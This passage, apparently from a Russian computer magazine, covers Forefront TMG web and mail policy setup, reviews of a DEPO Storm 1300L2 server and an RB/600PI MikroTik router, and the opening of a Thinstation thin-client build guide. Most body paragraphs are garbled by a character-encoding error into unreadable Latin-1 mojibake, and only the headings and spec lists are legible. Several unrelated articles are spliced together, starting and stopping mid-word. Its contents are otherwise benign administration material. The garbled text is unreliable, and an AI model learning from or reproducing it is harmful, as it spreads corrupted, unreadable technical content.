áëîêèðîâêó çàøèôðîâàííûõ àðõèâîâ. Äàëåå 

íàñòðàèâàåòñÿ ïðîâåðêà HTTPS òðàôèêà. 
Çäåñü âîçìîæíû ÷åòûðå âàðèàíòà:
•ïðîâåðÿòü;
• íå ïðîâåðÿòü è ðàçðåøàòü òðàôèê;
• íå ïðîâåðÿòü òðàôèê, ïðîâåðÿòü ñåðòèôèêàò 

è ïðè íåñîîòâåòñòâèè áëîêèðîâàòü;
• áëîêèðîâàòü HTTPS.

Åñëè âûáðàí ïåðâûé âàðèàíò, ìàñòåð ïîòðå-
áóåò ââåñòè ñåðòèôèêàò, êîòîðûé íåîáõîäè-
ìî ïðåäâàðèòåëüíî ñîçäàòü (ïîäðîáíîñòè 
ñìîòðè â óæå óïîìÿíóòîé ñòàòüå «Ñëîåíûé 
VPN»). Çàòåì èäåò íàñòðîéêà êýøèðîâàíèÿ. 
Îòìå÷àåì ôëàæîê «Enable Web caching» 
è, íàæàâ «Cache Drives», óêàçûâàåì äèñê 
è ââîäèì ìàêñèìàëüíûé ðàçìåð êýøà (ïî 
óìîë÷àíèþ 0, ò.å. íåîãðàíè÷åí). Ïîñëå 
íàæàòèÿ êíîïêè «Finish» áóäóò ñîçäàíû 
íîâûå íàñòðîéêè, ÷òîáû îíè âñòóïèëè â 
ñèëó, íàæèìàåì êíîïêó «Apply» ââåðõó 
îêíà. Òåïåðü ïîëüçîâàòåëè âíóòðåííåé ñåòè 
ìîãóò ïðîñìàòðèâàòü èíôîðìàöèþ íà âåá-
ðåñóðñàõ.
Èñïîëüçóÿ ññûëêè âî âêëàäêå «Task», ìîæíî 
èçìåíèòü óñòàíîâêè áåç ïîâòîðíîãî çàïóñêà 
ìàñòåðà. ×òîáû èçìåíèòü îòäåëüíîå ïðàâèëî, 
äâàæäû ùåëêàåì ïî íåìó è, ïåðåìåùàÿñü ïî 
âêëàäêàì ñâîéñòâ, îòêëþ÷àåì/âêëþ÷àåì ïðà-
âèëî, èçìåíÿåì From/To, óêàçûâàåì ïðîòîêîë, 
ðàñïèñàíèå, òèï êîíòåíòà. Ñîñòîÿíèå îòäå-
ëüíûõ ýëåìåíòîâ ìîæíî óâèäåòü è èçìåíèòü â 
ïîëå «Web Access Setting».
Äëÿ íàñòðîéêè ðàáîòû ñ E-mail âûáèðàåì 
â ìåíþ «E-Mail Policy». Çäåñü äåéñòâóåì 
àíàëîãè÷íî ïðåäûäóùåìó ïóíêòó. Íàæè-
ìàåì «Configure E-Mail Policy». Çàïóñòèâ-
øèéñÿ ìàñòåð âíà÷àëå ïîïðîñèò óêàçàòü 
IP-àäðåñ âíóòðåííåãî ïî÷òîâîãî ñåðâåðà 
è ââåñòè ñïèñîê ðàçðåøåííûõ äîìåíîâ. 
Îòìå÷àåì ñåòè, íà êîòîðûõ áóäóò ñëóøàòü-
ñÿ ïî÷òîâûå çàïðîñû, óêàçûâàåì FQDN 
(Fully Qualified Domain Name), èñïîëü-
çóåìûé äëÿ ñâÿçè ñ ñåðâåðîì ïðè îòâåòå 
íà HELO/EHLO çàïðîñû. Ïî óìîë÷àíèþ 
TLS (Transport Layer Security) øèôðîâà-
íèå òðàôèêà îòêëþ÷åíî, äëÿ åãî àêòèâà-
öèè óñòàíàâëèâàåì ôëàæîê «Enable TLS 
Encryption». 
Íà ïîñëåäíåì øàãå, óñòàíîâèâ ñîîòâåòñòâó-
þùèå ôëàæêè, àêòèâèðóåì ôóíêöèè àíòè-
ñïàìà è àíòèâèðóñíîé ïðîâåðêè ïî÷òîâîãî 
òðàôèêà (åñëè, êîíå÷íî, èõ ïðåäïîëàãàåòñÿ 
èñïîëüçîâàòü). Íàæèìàåì «Finish» è ïðèìå-
íÿåì íàñòðîéêè ùåë÷êîì ïî «Apply». Ïðàâè-
ëà, ñîçäàííûå â ðåçóëüòàòå ðàáîòû ìàñòåðà, 

áóäóò ïîêàçàíû â îêíå êîíñîëè. Íàñòðîéêà 
ïðàâèë àíòèñïàìà è àíòèâèðóñà ïðîèçâîäèò-
ñÿ âî âêëàäêàõ «Spam Filtering» è «Virus and 

Content Filtering» ñîîòâåòñòâåííî.

ЗАКЛЮЧЕНИЕ Êàê âèäèøü, íîâîââåäå-

íèé â ñåìåéñòâå Forefront äîñòàòî÷íî 
ìíîãî, è ãëàâíîå èç íèõ — òåñíàÿ èíòåã-
ðàöèÿ ïðîäóêòîâ, êîòîðàÿ ïîçâîëèò íà 
ïîðÿäîê ïîâûñèòü ýôôåêòèâíîñòü èñïîëü-
çîâàíèÿ ðàçëè÷íûõ ðåøåíèé è äîáàâèòü 

óäîáñòâî ðàáîòû àäìèíó. 
Íà ïðèìåðå Forefront TMG õîðîøî âèäíî, 
÷òî îäíîé ëèøü ñìåíîé èìåíè äåëî íå 

îáîøëîñü. Â íåì ïîÿâèëîñü äîñòàòî÷íî 
ìíîãî ôóíêöèé, êîòîðûå óæå íå ðàç çàïðà-
øèâàëèñü àäìèíèñòðàòîðàìè. z
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ВЫБОР ТОПОЛОГИИ СЕТИ ПРИ РАБОТЕ STARTED WIZARD

НАСТРОЙКИ WEB ACCESS ПОЛИТИК
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Ñåðâåð íà÷àëüíîãî óðîâíÿ Storm 1300L2 îò 

êîìïàíèè Depo ìîæíî ïðèìåíÿòü äëÿ ðå-

øåíèÿ ñàìûõ ðàçíîîáðàçíûõ çàäà÷, íà÷è-

íàÿ îò ôàéë-ñåðâåðà è êýøèðóþùåãî ïðîê-

ñè è çàêàí÷èâàÿ êîíòðîëëåðàìè äîìåíîâ è 

ðàçëè÷íûìè ñëóæáàìè äëÿ ïîääåðæêè ñå-

òåâîé èíôðàñòðóêòóðû. Âîçìîæíîñòü óñòà-

íîâêè äî 6 æåñòêèõ äèñêîâ SAS/SATA äåëà-

åò åãî îòëè÷íîé ïëîùàäêîé äëÿ õðàíåíèÿ 

ôàéëîâ, à âêóïå ñ ìàêñèìàëüíûì îáúåìîì 

ïàìÿòè â 24 Ãá è âûñîêîïðîèçâîäèòåëüíûì 

ïðîöåññîðîì Intel Xeon ñåðèè 5500 ñåðâåð 

ìîæíî ñ÷èòàòü áîëåå ÷åì ïðèâëåêàòåëü-

íûì ðåøåíèåì äëÿ âûïîëíåíèÿ ðîëè óçëà 

Data Grid.

Ñïèñîê ïîääåðæèâàåìûõ ïðîöåññîðîâ 

âêëþ÷àåò ìîäåëè îò ñàìîãî ìëàäøåãî 5502 

ñ äâóìÿ ÿäðàìè è òàêòîâîé ÷àñòîòîé 1.86 ÃÃö 

äî 4-ÿäåðíîãî 5560, ÷àñòîòà ÿäåð êîòîðîãî 

ñîñòàâëÿåò 2.8 ÃÃö. Îáúåì ïàìÿòè âàðüèðó-

åòñÿ îò 2-õ äî 24 Ãá DDR3. Çà õðàíåíèå äàííûõ 

îòâå÷àþò SAS èëè SATA-äèñêè åìêîñòüþ äî 

1 Òá, óñòàíîâëåííûå â êîðçèíó «ãîðÿ÷åé» çà-

ìåíû. Ñåðâåð îñíàùåí äâóìÿ ãèãàáèòíûìè 

ïîðòàìè Ethernet, îäíèì ïîñëåäîâàòåëü-

íûì ïîðòîì, äâóìÿ ðàçúåìàìè PS/2 è äâóìÿ 

ðàçúåìàìè USB.

Äëÿ óñòàíîâêè ïëàò ðàñøèðåíèÿ äîñòóïíû 

òðè íèçêîïðîôèëüíûõ ðàçúåìà PCI-E x8, 

îäèí PCI-E x4 è äâà PCI-ñëîòà, êóäà ìîãóò áûòü 

ïðåäóñòàíîâëåíû äîïîëíèòåëüíàÿ ãèãàáèò-

íàÿ ñåòåâàÿ êàðòà Intel Pro/1000 PT Dual Port 

Server Adapter è 8-êàíàëüíûé SATA/SAS-êîí-

òðîëëåð Adaptec ASR-5805, îáåñïå÷èâàþ-

ùèé RAID-êîíôèãóðàöèè óðîâíåé 0, 1, 10, 5, 

6 è 50, äëÿ êîòîðîãî òàêæå äîñòóïíà áàòàðåÿ 

ABM-800.

Ñåðâåð ìîæåò áûòü îñíàùåí ñäâîåííûì 

áëîêîì ïèòàíèÿ 2x500 Âò ñ èçáûòî÷íîñòüþ 

è âîçìîæíîñòüþ «ãîðÿ÷åé» çàìåíû. Îïöè-

îíàëüíî — ìîäóëü óäàëåííîãî óïðàâëåíèÿ, 

ñîâìåñòèìûé ñ IPMI 2.0.

Â êà÷åñòâå îïöèè çàêàç÷èêó ïðåäëàãàåò-

ñÿ ïðåäóñòàíîâêà ÎÑ Microsoft Windows 

Server Standard èëè Microsoft Windows Small 

Business Server 2008 Standard, ïîñëåäíèå 

îáíîâëåíèÿ, à òàêæå íàáîð äîïîëíèòåëü-

íîãî ÏÎ, êîòîðûé âêëþ÷àåò: ãèïåðâèçîð 

VMWare ESXi èëè Microsoft Hyper-V, Microsoft 

Windows SharePoint Services 3.0. Íà ïëàò-

íîé îñíîâå îêàçûâàþòñÿ òåõíè÷åñêèå êîí-

ñóëüòàöèè, óäàëåííàÿ íàñòðîéêà, ìîíòàæ 

ñåðâåðà â ñòîéêó, âíåäðåíèå è íàñòðîéêà 

ñåðâèñîâ, à òàêæå ïàêåò ýêñòðåííîãî ðåàãè-

ðîâàíèÿ.

Öåíà ñåðâåðà â ìèíèìàëüíîé êîíôèãóðàöèè 

ñîñòàâëÿåò 59780 ðóáëåé è âêëþ÷àåò â ñåáÿ 

ãàðàíòèéíîå îáñëóæèâàíèå â òå÷åíèå 3-õ 

ëåò â ñåðâèñíîì öåíòðå (ïðè æåëàíèè ñðîê 

ìîæíî óâåëè÷èòü äî 5 ëåò).

Ñàéò ïðîèçâîäèòåëÿ:
www.depocomputers.ru

>>
 S

Y
N

/
A

C
K

Да придет шторм

Технические характеристики
DEPO Storm 1300L2
> Процессор:
Intel Xeon 5500

Чипсет:
Intel X58 + ICH10R

> Память:
До 24 Гб DDR3-1333/1066/800
6 разъемов
Возможна поддержка ECC

> Жесткие диски:
6 каналов SATA

> Поддержка RAID:
RAID 0, 1, 5, 10 (только Windows)
Опциональный контроллер SAS/SATA с под-
держкой RAID 0, 1, 10, 5, 5EE, 50, 6, 60

> Сетевой интерфейс:
Двухпортовый интегрированный Gigabit 
Ethernet (10/100/1000 Мбит) Intel 82574L

> Питание:
Блок питания мощностью 550 Вт с автомати-
ческим выбором частоты (50/60 Гц)
Возможна установка блока питания 2х500 Вт

> Расширение:
3 слота PCI-E x8 (один в исполнении x16)
1 слот PCI-E x4 (в исполнении x8)
2 слота PCI 32 бит

> Внешние порты ввода-вывода:
Один порт 16550 (второй порт подключается 
опционально)
2 разъема PS/2
Два разъема USB на задней панели

> Функции управления:
Опционально поставляется модуль IPMI 2.0

> Система охлаждения:
4 нагнетающих вентилятора для обеспе-
чения нормального терморежима внутри 
сервера с возможностью «горячей» замены
1 вентилятор на каждом блоке питания

> Другое:
Интегрированный видеоадаптер Matrox 
G200eW 8 Мб DDR2

> Исполнение:
Для установки в 19" стойку, высота 2U
Комплектуется набором для монтажа в 
стойку
Рельсы имеют длину 710 мм
Размеры (ДВШ, мм) 652x88x425
Масса до 20 кг

> Гарантийное обслуживание:
Срок гарантии от 1 до 3 лет с возможностью 
обслуживания на месте эксплуатации

DEPO Storm 1300L2:
стоечный 2U-сервер
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Балтийский транзит

Технические характеристики
RB/600PI
> Процессор:
PowerPC MPC8343E 266/400 МГц

> Память:
64 Мб DDR SDRAM

> Накопитель:
64 Мб NAND
2 слота CompactFlash

> Сетевой интерфейс:
3 гигабитных порта Ethernet с поддержкой 
Auto-MDI/X
> Питание:
Блок питания 48 Вольт (48 POW)
Power over Ethernet (порт LAN1)
Уровень потребляемой энергии: ~9 Вт с 
картами расширения

> Внешние порты ввода-вывода:
1 асинхронный последовательный порт DB9 
RS232C

> Интерфейсы расширения:
4 слота MiniPCI (IIIA/IIIB)
> Система охлаждения:
2 вентилятора с сенсорами вращения и 
автоматическим переключением

Ïðîäóêöèÿ ëàòâèéñêîé êîìïàíèè MicroTik 

íå òàê øèðîêî ðàñïðîñòðàíåíà íà òåððè-

òîðèè Ðîññèè, íî ïîëüçóåòñÿ áîëüøîé 

ïîïóëÿðíîñòüþ ñðåäè ëþäåé «â òåìå». 

Îñíîâíàÿ äåÿòåëüíîñòü êîìïàíèè: ïðî-

èçâîäñòâî ìàðøðóòèçàòîðîâ è áåñïðîâîä-

íûõ ñèñòåì äëÿ ISP, îñîáîå ìåñòî ñðåäè êî-

òîðûõ çàíèìàþò ïëàòû-ìàðøðóòèçàòîðû 

RouterBOARD, îòëè÷àþùèåñÿ íåâûñîêîé 

öåíîé è çàâèäíîé ïðîèçâîäèòåëüíîñòüþ. 

Îäíà èç íèõ ñêðûòà âíóòðè ìàðøðóòèçà-

òîðà RB/600PI îò ðîññèéñêîé êîìïàíèè 

MicroComp.

Ìîäåëü RB/600PI ïîñ òðîåíà íà áàçå 

RouterBOARD 600, îñíàùåííîé ïðî-

öåññîðîì PowerPC MPC8343E 266/400 

ÌÃö, 64 Ìá îïåðàòèâíîé ïàìÿòè è òðå-

ìÿ ãèãàáèòíûìè ïîðòàìè Ethernet, 

ïîýòîìó â ïëàíå æåëåçíîé ñîñ òàâ-

ëÿþùåé îíà íè÷åì íå îòëè÷àåòñÿ îò 

ìàðøðó òèçàòîðîâ ìíîãèõ äðóãèõ êîì-

ïàíèé. Îñîáàÿ æå ãîðäîñ òü MicroTik — 

ýòî îïåðàöèîííàÿ ñèñ òåìà.

Â êà÷åñòâå ÎÑ ìàðøðóòèçàòîð èñïîëüçóåò 

òàê íàçûâàåìóþ RouterOS, ïîñòðîåííóþ íà 

áàçå Linux è óìåþùóþ ïî÷òè âñå, ÷òî òîëü-

êî ìîæåò ïîíàäîáèòüñÿ àäìèíèñòðàòîðó. 

Ýòî è ãèáêèé áðàíäìàóýð, îñíîâàííûé íà 

iptables, è ðàçâèòàÿ ñèñòåìà óïðàâëåíèÿ 

òðàôèêîì íà îñíîâå ïîäñèñòåìû Linux-ÿä-

ðà Traffic Control, è ïîääåðæêà ïðîòîêîëîâ 

ìàðøðóòèçàöèè RIP v1/v2, OSPF v2, BGP v4, 

è ãèáêîå óïðàâëåíèå äîñòóïîì äëÿ ïîëüçî-

âàòåëåé HotSpot, è ñàìûå ðàçíûå ñïîñîáû 

òóííåëèðîâàíèÿ òðàôèêà, øèôðîâàíèå 

IPsec, ðàçëè÷íûå ïðîêñè-ñåðâåðà â êîìïëåê-

òå (FTP, HTTP, DNS, SOCKS), DHCP-ñåðâåð ñ 

ïîääåðæêîé RADIUS, ñåòåâûå óòèëèòû ping, 

traceroute, telnet, ssh, òåñòåð ïðîïóñêíîé 

ñïîñîáíîñòè, ñíèôåð, óòèëèòà äëÿ àïäåéòà 

DNS-çàïèñåé è ìíîãîå äðóãîå.

Äîñòóï ê ìàðøðóòèçàòîðó ìîæíî ïîëó÷èòü 

÷åðåç ïîñëåäîâàòåëüíûé ïîðò, ïî ïðîòîêî-

ëàì Telnet, SSH èëè ÷åðåç Winbox — GUI-èí-

òåðôåéñ äëÿ ÎÑ Windows. RouterOS ïîçâîëÿåò 

ïðîèçâîäèòü ìîíèòîðèíã òðàôèêà (IP traffic 

accounting, ñ ïîääåðæêîé NetFlow), áðàíäìà-

óýðà (firewall actions logging), ñòðîèò ãðàôè-

êè, äîñòóïíûå ÷åðåç HTTP, è ïîääåðæèâàåò 

ïðîòîêîë SNMP.

Èç äðóãèõ îñîáåííîñòåé ìîäåëè ñòîèò îòìå-

òèòü íàëè÷èå 4 MiniPCI-ñëîòîâ äëÿ óñòàíîâêè 

ïëàò ðàñøèðåíèÿ, 2 ñëîòà CompactFlash ñ ïîä-

äåðæêîé ôëåø-íàêîïèòåëåé ñ èíòåðôåéñîì 

IDE è âîçìîæíîñòü ïèòàíèÿ îò Ethernet-êàáå-

ëÿ (ïðèìåíèòåëüíî òîëüêî ê ïîðòó LAN1).

Öåíà ìîäåëè ñîñòàâëÿåò 11994 ðóáëåé.

Ñàéòû ïðîèçâîäèòåëåé:
www.routerboard.com, www.mikc.ru

Ñïåöèôèêàöèÿ óñòðîéñòâà è ðóêîâîäñòâî ïîëü-
çîâàòåëÿ:
www.mikc.ru/files/docs/rb600ugA.pdf

RouterBOARD RB600A ìîæåò ðàáîòàòü íå òîëüêî 
ïîä óïðàâëåíèåì Linux, íî è OpenBSD (ïîä -
äåð æêà äîáàâëåíà â 4.6-current):

www.openbsd.org/socppc.html

RB/600PI:
производительный маршрутизатор на базе MicroTik RouterBOARD 
600

> Исполнение:
Корпус внутреннего исполнения (CA/600)
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Финансовый кризис заставил IT-специалистов пересмотреть традици-
онный подход к организации сети в сторону «тонких клиентов». В отли-
чие от настольных компов, они экономичны, потребляют мало энергии, 
просты в сопровождении, легко адаптируются к любой среде. Сегодня 
доступно несколько десятков различных решений для такой сети, а са-
мым популярным представителем лиги терминальных систем является 
опенсорсный мини-дистрибутив Thinstation.

Тонкая 
генеральная 
линия

ТЕРМИНАЛЬНАЯ СЕТЬ Âíà÷àëå îïðåäåëèì-
ñÿ ñ íàçíà÷åíèåì òîíêèõ êëèåíòîâ è ìåñòîì 
Thinstation â ïðîöåññå îðãàíèçàöèè ïîäîáíîãî 

ñåðâèñà. Â òèïè÷íîé ñåòè êîìïàíèè ïðèìåíÿ-
åòñÿ ñõåìà, ñòàâøàÿ óñèëèÿìè Microsoft óæå 

ñòàíäàðòíîé: ÎÑ çàãðóæàåòñÿ ñ ëîêàëüíîãî 
æåñòêîãî äèñêà, òàì æå ìîãóò õðàíèòüñÿ è 

âñå íåîáõîäèìûå ïîëüçîâàòåëþ äàííûå. Íî 
ìåíåäæåðû, ìàðêåòîëîãè, ñåêðåòàðè è ïðî÷èé 

îôèñíûé ïëàíêòîí, êîòîðûì äëÿ ðàáîòû 
òðåáóþòñÿ ñðåäñòâà èíòåðíåòà, òåêñòîâûé ðå-
äàêòîð è ïàðà ïðîãðàìì äëÿ ñîçäàíèÿ îò÷åòîâ è 
ðàáîòû ñ áàçîé äàííûõ, èñïîëüçóþò ìîùíîñòè 
ñîâðåìåííîãî êîìïüþòåðà äàëåêî íå ïîëíî-

ñòüþ (îò ñèëû íà 10%). Íà ýòîì ìîæíî è íóæíî 
ýêîíîìèòü.
Àðõèòåêòóðà òîíêèõ êëèåíòîâ ïðåäóñìàòðè-

âàåò çàãðóçêó ÎÑ è âñåõ íåîáõîäèìûõ äàííûõ 
ïî ñåòè. Òàêîé ïîäõîä èìååò ðÿä ïðåèìóùåñòâ, 
êîòîðûå ñòàíîâÿòñÿ î÷åâèäíû óæå â ñåòÿõ 
ñðåäíåãî ðàçìåðà:
• öåíòðàëèçîâàííîå àäìèíèñòðèðîâàíèå;

• áûñòðîå ðàçâåðòûâàíèå (ðàáî÷åå ìåñòî ìîæ-
íî îðãàíèçîâàòü áóêâàëüíî çà 5-10 ìèíóò);
• ïîâûøåíèå áåçîïàñíîñòè êîðïîðàòèâ-

íûõ äàííûõ (çà ñ÷åò òîãî, ÷òî âñÿ èíôîðìà-
öèÿ õðàíèòñÿ íà ñåðâåðå, ñíèæàåòñÿ ðèñê 
õèùåíèÿ äàííûõ è âðåäîíîñíîãî äåéñòâèÿ 
âèðóñîâ, êðîìå òîãî, çàìåòíî óïðîùàåòñÿ 

ïðîöåäóðà ðåçåðâíîãî êîïèðîâàíèÿ);
• áîëüøåå âðåìÿ íàðàáîòêè íà îòêàç (â ïåðâóþ 
î÷åðåäü, â ñâÿçè ñ ìèíèìàëüíûì êîëè÷åñòâîì 
ìåõàíè÷åñêèõ êîìïîíåíòîâ);
• ñíèæåíèå íàãðóçêè íà ñåòü (âî âðåìÿ òåðìè-
íàëüíîé ñåññèè ïåðåäàþòñÿ òîëüêî äàííûå î 
íàæàòèè êëàâèø, äâèæåíèÿõ ìûøè è îáíîâëå-
íèÿõ ýêðàíà);
• îòñóòñòâèå ïðèâÿçêè ïîëüçîâàòåëÿ ê êîíê-
ðåòíîìó ðàáî÷åìó ìåñòó, þçåð ìîæåò ïîëó÷èòü 
äîñòóï ê ñâîåìó âèðòóàëüíîìó ðàáî÷åìó ñòîëó 

ñ ëþáîãî òåðìèíàëà, ïîäêëþ÷åííîãî ê ñåðâåðó 
(äàæå èç ñâîåãî äîìà, èñïîëüçóÿ VPN).
Îñíîâíàÿ ýêîíîìèÿ äîñòèãàåòñÿ çà ñ÷åò ìèíè-
ìèçàöèè çàòðàò íà ïðèîáðåòåíèå ëèöåíçèé íà 
ïîëüçîâàòåëüñêîå ïðîãðàììíîå îáåñïå÷åíèå 

è âûáîðà ìèíèìàëüíîé àïïàðàòíîé êîíôè-
ãóðàöèè êëèåíòñêîé ÷àñòè. Íà ðàáî÷åì ñòîëå 
ïîëüçîâàòåëÿ ìîæåò ñòîÿòü êàê ñòàðûé êîìï, 

ïî âñåì ïàðàìåòðàì íåïðèãîäíûé äëÿ áîëü-
øèíñòâà ïîâñåäíåâíûõ çàäà÷ (ïðîöåññîð íå 
íèæå Pentium 100, îáúåì îïåðàòèâíîé ïàìÿòè 
íå ìåíåå 16 Ìá), òàê è ñïåöèàëèçèðîâàííîå 
óñòðîéñòâî (íàïðèìåð, íà áàçå ïðîöåññîðà VIA 

Eden èëè AMD Geode). Ïîñëåäíèå êîìïàêòíû, 
àáñîëþòíî áåñøóìíû è ïîòðåáëÿþò ìàëóþ 
òîëèêó ýëåêòðîýíåðãèè (êñòàòè, ýòî ïîçâîëÿåò 

âåøàòü íà îäèí áåñïåðåáîéíèê äî 10 òåðìèíà-
ëîâ).

Ñ âñòóïëåíèåì è «æåëåçî÷íûìè» äåëàìè 
çàêîí÷èëè, ïåðåéäåì ê ñîôòó. Äèñòðèáóòèâ 
Thinstation (www.thinstation.org) ðàçðàáîòàí 

ñïåöèàëüíî äëÿ ñîçäàíèÿ òîíêèõ êëèåíòîâ è 
îñíàùåí âñåìè íåîáõîäèìûìè ïðèëîæåíèÿìè, 

îáåñïå÷èâàþùèìè ïîäêëþ÷åíèå ê ñåðâèñàì 
ïî îñíîâíûì ïðîòîêîëàì óäàëåííîé ðàáîòû: 

Citrix ICA, Microsoft RDP, VNC, NX NoMachine, 
2X ThinClient, VMWare View Open client, X11, 

Telnet, SSH. Ñèñòåìó ìîæíî çàãðóæàòü ïî 
ñåòè ñ ïîìîùüþ Etherboot/PXE èëè âíåøíåãî 
íîñèòåëÿ (FDD/CD/HDD/CF/USB-flash). Âñå 
íàñòðîéêè ïðîèçâîäÿòñÿ öåíòðàëèçîâàííî 
ïðè ïîìîùè êîíôèãóðàöèîííûõ ôàéëîâ, ÷òî 

óïðîùàåò óïðàâëåíèå òåðìèíàëàìè.

ЗНАКОМИМСЯ — THINSTATION Òåêóùåé 
ñòàáèëüíîé âåðñèåé Thinstation ÿâëÿåòñÿ 2.2.2 
(îò 10 àâãóñòà 2008 ãîäà). Îñíîâó äèñòðè-

áóòèâà ñîñòàâëÿåò ÿäðî 2.6.16.5, XOrg 6.9/
XFree86 4.3.99.902, Glibc 2.3.5, GCC 3.4.4, 
Âlackbox 0.70.1/IceWM 1.2.25, ïàêåò ñèñòåìíûõ 

ïðîãðàìì Busybox 1.1.3, íàáîð äðàéâåðîâ äëÿ 
ðàçëè÷íûõ âèäåî è ñåòåâûõ êàðò, ïðèêëàä-
íûå ïðîãðàììû RDesktop, Telnet, Citrix ICA, 
NoMachine NX, 2X ThinClient, VMWare View 
Open client, SSH, OpenVPN. Ïîìèìî óêàçàííûõ 

ïàêåòîâ, åñòü âîçìîæíîñòü óêîìïëåêòîâàòü çà-
ãðóçî÷íûé îáðàç äîïîëíèòåëüíûìè ïðîãðàì-

Пересаживаем офисный планктон на тонкие клиенты 
под управлением Thinstation



ìàìè, äðàéâåðàìè è ïàò÷àìè. Êñòàòè, ìíîãèå ïðåäïî÷èòàþò èñïîëüçî-
âàòü áîëåå ðàííèå âåðñèè Thinstation, ïîñêîëüêó îíè çàíèìàþò ìåíüøå 
ìåñòà è íà ñòàðûõ ñèñòåìàõ ðàáîòàþò ÷óòü áûñòðåå. Åäèíñòâåííûé 
ìèíóñ: äëÿ ñàìîñòîÿòåëüíîé ñáîðêè çàãðóçî÷íîãî îáðàçà ïîíàäîáèòñÿ 
ñòàðàÿ âåðñèÿ Glibc.
Äëÿ çàêà÷êè ïðåäëàãàþòñÿ óæå ãîòîâûå LiveCD îáðàçû äëÿ VMware 
(Linux è Windows), êîòîðûå ïîçâîëÿþò îáîéòèñü áåç íàñòðîéêè DHCP/
TFTP-ñåðâåðîâ è çàãðóæàòüñÿ «íàïðÿìóþ» â âèðòóàëüíîé ìàøèíå. Ïîñëå 
óñòàíîâêè â vmview/CD íàéäåì íóæíûé ISO-ôàéë. Ïðè çàãðóçêå îáðàç 
áóäåò îïðàøèâàòü ñìåííûå íîñèòåëè (HDD, CD, USB, FDD) â ïîèñêàõ 
íàñòðîåê — ôàéëà thinstation.conf.user (î íåì íèæå).
Êàê âàðèàíò, ìîæíî ñàìîñòîÿòåëüíî ïåðåñîáðàòü îáðàç ïðè ïîìîùè 
ñêðèïòà rebuild-iso èëè óñòàíîâèòü äèñòðèáóòèâ íà õàðä/ôëåøêó (ïðè-

ìåð ïðèâåäåí â FAQ íà îôèöèàëüíîì ñàéòå).
Àðõèâ Thinstation-2.2.2.tar.gz (~50 Ìá) ïðåäíàçíà÷åí äëÿ êîíå÷íîãî 

ïîëüçîâàòåëÿ (ïîä ïîëüçîâàòåëåì ïîäðàçóìåâàåòñÿ ñèñàäìèí) è ñîäåð-

æèò óæå ñêîìïèëèðîâàííûå, ãîòîâûå ê ðàáîòå ïàêåòû. Ïîëüçîâàòåëü 
çàòåì ñàìîñòîÿòåëüíî âûáèðàåò, ÷òî åìó íåîáõîäèìî, è ñîáèðàåò îáðàç. 
Äîñòóïåí åùå îäèí àðõèâ — thinstation developer (~800 Ìá), — îí 
ñîäåðæèò èñõîäíûå òåêñòû ïðîåêòà è ïðåäíàçíà÷åí äëÿ ðàçðàáîò÷èêîâ, 
à òàêæå ñïåöèàëèñòîâ, æåëàþùèõ ñêîìïèëèðîâàòü è äîáàâèòü ñâîþ 
ïðîãðàììó â îáðàç, ëîêàëèçîâàòü ñèñòåìó è ïðîèçâåñòè îñòàëüíûå äîíà-
ñòðîéêè, êîòîðûå íå óäàåòñÿ ñäåëàòü/ïðèìåíèòü â ïàêåòå äëÿ êîíå÷íîãî 
ïîëüçîâàòåëÿ.
Ðóñèôèêàöèÿ â îðèãèíàëüíîì Thinstation âûïîëíåíà ëèøü ÷àñòè÷íî, 
õîòÿ ýòî ëåãêî èñïðàâèòü, ïåðåñîáðàâ äèñòðèáóòèâ, âîñïîëüçîâàâøèñü 
ñòàíäàðòíûìè HOWTO ïî ëîêàëèçàöèè ëþáîãî Linux. Íî ñåãîäíÿ 
ñóùåñòâóþò ïðîåêòû, â êîòîðûõ âîïðîñ ðóñèôèêàöèè ðåøåí èçíà÷àëü-
íî — nixts.org è www.itadvisor.ru/downloads. Ïëþñ, â ýòèõ ðåøåíèÿõ 

ïðîèçâåäåíû ìåëêèå äîðàáîòêè. Ïî ññûëêàì ìîæíî ñêà÷àòü âàðèàíòû 
îáðàçîâ è äîïîëíèòåëüíûå ïàêåòû äëÿ Thinstation. Ïîëüçîâàòåëÿì 

ïëàòôîðìû AMD Geode LX ìîæíî îáðàòèòü âíèìàíèå íà ThinTonk (www.

Ëîêàëèçàöèÿ Thinstation 
Îðèãèíàëüíûé Thinstation ëîêàëèçîâàí ëèøü ÷àñòè÷íî, è, ñêîðåå âñåãî, âîçíèêíåò æåëàíèå óñòðàíèòü ýòó ïðîáëåìó. Äëÿ ýòîãî êàê ðàç íåîáõîäèì 
äåâåëîïåðñêèé ïàêåò. Ïåðâûì äåëîì ñëåäóåò ïåðåñîáðàòü ÿäðî, àêòèâèðîâàâ â ðàçäåëàõ DOS/FAT/NT Filesystems, Network File Systems è Native 
Language Support âñå ìîäóëè, â êîòîðûõ ôèãóðèðóþò êîäèðîâêè CP1251 è 866. Äàëåå èùåì â packages/base/etc/udev/scripts òðè ñêðèïòà floppy.
sh, ide.sh, usb.sh, îòâå÷àþùèå çà ìîíòèðîâàíèå ôàéëîâûõ ñèñòåì. Äîáàâëÿåì çàïèñü «-o iocharset=cp1251,codepage=866» ê êîìàíäàì âíóòðè 
sh-ôàéëîâ. Íàïðèìåð, ñòðîêà äëÿ FAT:

mount -t vfat -o iocharset=cp1251,codepage=866 /dev/$devpath /mnt/disc/$name/$name

Â ïîñòàâêå åñòü è äðóãèå ñêðèïòû è êîíôèãóðàöèîííûå ôàéëû, êîòîðûå ïîòðåáóåòñÿ ïîïðàâèòü â ñëó÷àå íåîáõîäèìîñòè. Äëÿ Samba â smb.conf.tpl 
è smb.conf òàêæå ìåíÿåì êîäèðîâêó:

unix charset=cp1251

display charset=cp1251

dos charset=866

Ëîêàëü ñëåäóåò óêàçàòü è â ñòðîêå çàïóñêà rdesktop, íàïðèìåð, äëÿ ru_RU.KOI8-R äîáàâëÿåì «-P KOI8-R».
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tonk.ru/support/pxe) — äèñòðèáóòèâ Thinstation, ñîáðàí-
íûé ñïåöèàëüíî äëÿ ýòèõ òîíêèõ êëèåíòîâ. Â äàëüíåéøåì 
áóäåì ðàçáèðàòü îðèãèíàëüíóþ âåðñèþ.

СОБИРАЕМ СВОЮ ВЕРСИЮ THINSTATION  Äëÿ ñáîðêè íàì 
ïîòðåáóåòñÿ ðàáî÷èé GNU/Linux, åãî íåîáÿçàòåëüíî óñòà-
íàâëèâàòü íà æèâóþ ìàøèíó, äîñòàòî÷íî è âèðòóàëüíîé. 
Çàáèðàåì àðõèâ ñ ñàéòà ïðîåêòà è ðàñïàêîâûâàåì:

$ tar xzvf Thinstation-2.2.2.tar.gz

$ cd Thinstation-2.2.2

